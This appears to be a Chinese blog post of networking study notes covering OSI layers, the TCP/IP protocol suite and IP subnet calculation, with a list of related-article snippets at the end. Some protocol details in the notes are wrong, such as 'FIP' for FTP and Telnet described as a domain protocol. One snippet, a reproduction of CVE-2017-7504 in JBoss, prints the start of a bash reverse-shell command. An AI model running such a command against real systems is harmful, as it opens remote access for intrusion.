测试----计算机网络

news2025/1/11 9:48:43

文章目录

  • 计算机网络的历史
  • OSI/RM 协议
  • TCP/IP协议
  • IP地址

计算机网络的历史

  1. 50-60年代 内部通讯功能(连接的是同一台主机,只能主机和终端之间通信,终端和终端之间的通讯只能依靠主机来传输)
  2. 60-70年代 主机和主机之间能通讯
  3. 70年代-80年代中 标准化(ARPANET协议:)
  4. 90年代 国际化网络的诞生(OSI模型,TCP/IP协议)

OSI/RM 协议

  1. 物理层 :传输2进制信息,
  1. 为数据链路层提供服务,从数据链路层接收信息,按规定的的格式传输出去,
  2. 向数据链路层提供信息(将比特流变成数据链路层可以理解的信息)
  1. 数据链路层:将上层数据封装成为帧(网络层和物理层之间的一种过渡形式)

传输管理:
流量控制:

  1. 网络层:路由寻址和广播(数据传输)
  1. 路由的选择中断,
  2. 控制分组传输系统的操作,
  3. 控制流量,
  4. 建立和撤销网络,
  5. 根据传输层的要求来选择服务器
  1. 传输层:负责建立一个可靠的端到端的链接,包括数据核对和初步整理。

功能:

  1. 建立,维护和撤销传输链接--------端到端的链接
  2. 控制流量,差错传输(使高层收到的数据几乎误差错传输)
  3. 选择合适的网络层服务以实现其功能
  4. 提供数据的编号排序拼接以及重同步功能
  1. 会话层:负责建立维护拆除会话,为端系统的应用程序之间提供对话控制机构
  2. 表示层:表示数据形式,完成对数据的转化(压缩解压缩)
  3. 应用层:应用程序提供网络支持
    数据发送(从上到下,物理层)数据接收(自下而上,直到发送端)
    对等会话原理:发送端和接收端只有在对等层才能进行通信,不同层次传输的数据格式不一样:(
  1. 应用层,表示层和会话层以报文方式传输,
  2. 传输层以报文或者报文分段方式传输
  3. 网络层以分组的方式传输
  4. 数据链路层以帧的方式传输
  5. 物理层以比特流的传输
    发送端没经过一层都要在原数据上进行协议封装,即最前面加装一个本层所使用协议的协议头;接收端每经过一层都要对数据进行协议进行解封装,即去掉原数据最前面的上层协议头)
    在这里插入图片描述

TCP/IP协议

在这里插入图片描述

  1. 网络接口层:在物理连接(网线和电脑连接)之间,实现逻辑链路的连接(拨号连接),
  1. 网卡(接口卡):具有物理地址,MAC地址
  2. SLIP协议(在串行链路上面封装IP数据报,用于拨号连接 但是没有差错校验机制)
  3. ppp协议:用于在串行和并行线路上面的拨号连接,解决SILP 存在的问题。
  4. ARP 协议:根据IP地址获取物理地址的一个TCP/IP协议 ip–>mac(机器的身份证)
  5. RARP协议:反向地址解析 mac—> Ip
    数据报:通过网络传输的数据的基本单元,携带了要从计算机传输到目的的计算机的信息
    数据包:是TCP/IP协议中通信传输中的数据单位,单个信息被划分成为多个数据块,这些数据块被称为包
    路由:路由器从一个接口上接收到数据包,根据数据包的目的地址进行定向并发送到另一个接口的过程,。
  1. 互联层: 在不同的网络之间进行路由寻址,传递数据报。
  1. IP协议:无连接不可靠的协议,主机之间的寻址。(不保证数据的有效到达)
  2. ICMP协议:报告错误,控制消息 ping(无连接的协议)
  1. 传输层:建立应用间的端到端连接。

协议:

  1. TCP协议(传输控制协议):面向连接(三次握手)数度慢
  2. UDP协议(用户数据协议):无连接(不可靠) 速度快
    端口号:用来区分应用层的协议 0-65535
  1. 应用层 : 负责应用层和用户之间的通讯
  1. FIP:文件传输协议
  2. HTTP:超文本协议
  3. DNS:域名系统协议
  4. TElnet:域名协议
  5. IMAP:Internet邮件访问协议
  6. POP3:邮局协议

IP地址

32位,分成四组,每组八位,用句号隔开,每组大小范围0-255
网络层+主机位
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
逻辑计算:与或非
计算:如何判断两个地址在同一个子网当中

  1. 将 IP地址和子网掩码转化成为二进制
  2. 将IP地址和子网掩码按位进行与操作
  3. 得出子网号码,判断是不是相等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/999354.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MDO4104B-6泰克Tektronix混合域示波器

181/2461/8938泰克MDO4104B-6混合域示波器,1 GHz,4通道。,5 GS/s,6 GHz射频通道。 介绍世界上第一台示波器,它包括一个逻辑分析仪、频谱分析仪和协议分析仪-所有同步的集成视图。虽然您可以将Tektronix MDO4000B系列简…

李沐《动手学深度学习》torch.cat() 和 torch.stack()的区别及思考

一、问题引出 好久没更新啦!最近在学习沐神《动手学深度学习》6.5节池化层的时候,发现沐神在两处相似的地方使用了两种Python拼接函数torch.cat()和torch.stack(): 百思不得其解,于是查阅相关文档之后终于弄清楚了两者之间的区别…

安全文件传输如何进行管控,从而促进业务的有序发展?

随着信息化技术的不断发展,安全文件传输对于企业来说变得越来越重要,企业数据安全在近几年频繁发生,有不少企业都因数据泄漏而造成不同程度的损失,很多企业花费人力和财力采取各种措施,来确保自身数据安全和文件安全。…

stm32--独立看门狗

最近学习到独立看门狗,总结下笔记 1.看门狗的作用:防止程序异常跑飞,跑飞时,进行系统复位,从而不会导致代码瘫痪,奔溃卡死在某段程序。 2.看门狗其实是12bit递减计数器,,减到0会产…

华为星闪联盟:引领无线通信技术创新的先锋

星闪(NearLink),是由华为倡导并发起的新一代无线短距通信技术,它从零到一全新设计,是为了满足万物互联时代个性化、多样化的极致、创新体验需求而诞生的。这项技术汇聚了中国300多家头部企业和机构的集体智慧&#xff…

睿趣科技:抖音开店前期需要准备什么

抖音作为全球最受欢迎的短视频平台之一,已经成为了许多年轻人的创业和赚钱的机会。如果你计划在抖音上开店,那么在正式开业之前,有一些重要的准备工作是必不可少的。下面就是抖音开店前期需要准备的关键步骤和注意事项。 确定你的目标和产品&…

『PyQt5-Qt Designer篇』| 09 Qt Designer中分割线和间隔如何使用?

09 Qt Designer中分割线和间隔如何使用? 1 间隔1.1 水平间隔1.2 垂直间隔2 分割线2.1 水平线2.2 垂直线3 保存并执行1 间隔 间隔有水平间隔和垂直间隔: 1.1 水平间隔 拖动4个按钮,并设置为水平布局: 在第一个按钮的右边添加一个水平间隔: 设置其sizeType为Fixed,宽度为20…

JDK、CGLib、Javassist实现动态代理

一、类加载 1.类加载过程模拟(先明白类加载过程,方可模拟类运行期间加载-创建代理类,调用目标方法) public class Programmer {public void code() {System.out.println("Im a Programmer,Just Coding.....");} }/***…

第二证券:BC电池概念再度活跃,永和智控涨停,广信材料等拉升

BC电池概念11日盘中再度活跃,截至发稿,广信材料涨超17%,永和智控涨停,帝尔激光涨超6%,英诺激光、爱旭股份涨超3%。 职业方面,近日,隆基绿能举办半年报成绩说明会,会上董事长钟宝申在…

软件架构设计(十三) 构件与中间件技术

中间件的定义 其实中间件是属于构件的一种。是一种独立的系统软件或服务程序,可以帮助分布式应用软件在不同技术之间共享资源。 我们把它定性为一类系统软件,比如我们常说的消息中间件,数据库中间件等等都是中间件的一种体现。一般情况都是给应用系统提供服务,而不是直接…

vue2通过.env进行多环境配置

这边 我们先创建一个本地文件夹 作为项目的存放目录 然后我们执行 vue create 项目名 创建一个vue项目 例如 我这里这样 vue create multiple_environ创建一个叫 multiple_environ 的vue项目 这里 我们选择vue2的版本 然后 在 然后 大家可以配置多个环境 但都需要用因为命…

JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

一、影响版本 Jboss AS 4.x及之前版本 二、搭建环境 三、漏洞验证 访问/jbossmq-httpil/HTTPServerILServlet,出现以下页面代表存在漏洞 四、漏洞复现 1.nc开启监听 2.生成序列化数据 使用工具ysoserial.jar生成序列化数据 bash -i >& /dev/tcp/192.16…

安全生产:CVE-2020-11022/CVE-2020-11023漏洞解析

文章目录 一、前言二、漏洞原理三、修复方案3.1 升级jQuery3.2 1.x 升级至 3.x 需要考虑的问题3.2.1 table表格元素自动添加tbody3.2.2 方法变更 3.3 jquery migrate是什么 四、拓展阅读 一、前言 代码安全扫描阶段,前端资源审计发现jQuery版本过低导致生产系统存在…

线程生命周期、线程通讯

一、生命周期 有关线程生命周期就要看下面这张图,围绕这张图讲解它的方法的含义,和不同方法间的区别。 1、yield()方法 yield()让当前正在运行的线程回到就绪,以允许具有相同优先级的其他线程获得运行的机会。但是,实际中无法保证…

第5章 【MySQL】InnoDB数据页结构

5.1 不同类型的页简介 页是InnoDB 管理存储空间的基本单位,一个页的大小一般是 16KB 。InnoDB 为了不同的目的而设计了许多种不同类型的 页 ,比如存放表空间头部信息的页,存放 Insert Buffer信息的页,存放 INODE 信息的页&#x…

《低代码指南》——低代码+AI,智能化的构建数字应用

LCHub低代码社区:对低代码平台在AI领域的应用及其成果进行了深入阐述。他强调,在AI时代,工程化的重要性不容忽视,同时,复杂系统建设和数据模型驱动开发也占据了核心地位。 顾伟不仅深入探讨了低代码零代码平台在业界的不同分类和使用场景,还详细解读了低代码平台的功能架…

区块链实验室(22) - go-sdk访问Fisco的案例

在前面的案例中(区块链实验室(21) - Go语言采用SDK访问Fisco的案例),go程序调用FISCO SDK的参数固化在程序中,现将其改造如下。 package mainimport ("flag""fmt""log""github.com/FISCO-BCOS/go-sdk/client"&…

Ubuntu22.04安装及显卡驱动问题

自己有window系统,想搞个ubuntu系统玩玩 一、Ubuntu22.04安装 首先去官网下载ubuntu系统,我下载的是22.04 https://cn.ubuntu.com/download/desktop 准备一个启动盘制作器Rufus,将下载好的镜像烤制到U盘 制作完u盘,进入bios更…

第27章 非阻塞IO实验

上个章节中我们学习了阻塞IO,阻塞IO是通过等待队列来实现的,那么如何让驱动实现非阻塞呢?带着疑问,让我们开始本章节非阻塞IO的学习吧! 27.1 非阻塞IO简介 应用程序可以使用如下所示示例代码来实现阻塞访问&#xff…

浅谈综合管廊智慧运维管理平台应用研究

贾丽丽 安科瑞电气股份有限公司 上海嘉定 201801 摘要:为提升综合管廊运维管理水平,实现管理的数字化转型,采用综合监测系统、BIMGIS 可视化系统、智能机器人巡检、结构安全监测等技术,搭建实时监控、应急管理、数据分析等多功能…